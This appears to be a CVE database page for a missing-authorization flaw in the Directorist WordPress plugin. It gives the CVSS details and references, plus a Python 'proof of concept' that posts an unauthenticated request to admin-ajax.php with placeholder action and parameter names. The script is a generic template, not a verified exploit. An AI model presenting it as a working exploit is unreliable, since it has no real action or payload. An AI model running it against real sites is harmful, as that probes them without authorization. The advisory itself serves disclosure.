CVE-2026-39509

Description

Missing Authorization vulnerability in wpWax Directorist directorist allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Directorist: from n/a through <= 8.5.10.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Directorist <= 8.5.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: wpWax Directorist < 8.5.10 - Missing Authorization PoC
# Date: 2026-04-08
# Description: This script attempts to exploit the missing authorization vulnerability.

target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Payload targeting the vulnerable action (action name may vary based on plugin analysis)
payload = {
    "action": "directorist_some_action", 
    "param": "exploit_data"
}

try:
    # Sending unauthenticated request
    response = requests.post(target_url, data=payload)
    
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if action was performed.")
        print("Response:", response.text[:200])
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39509
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39509
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39509/
[4] VulDB https://vuldb.com/cve/CVE-2026-39509
[5] https://patchstack.com/database/Wordpress/Plugin/directorist/vulnerability/wordpress-directorist-plugin-8-5-10-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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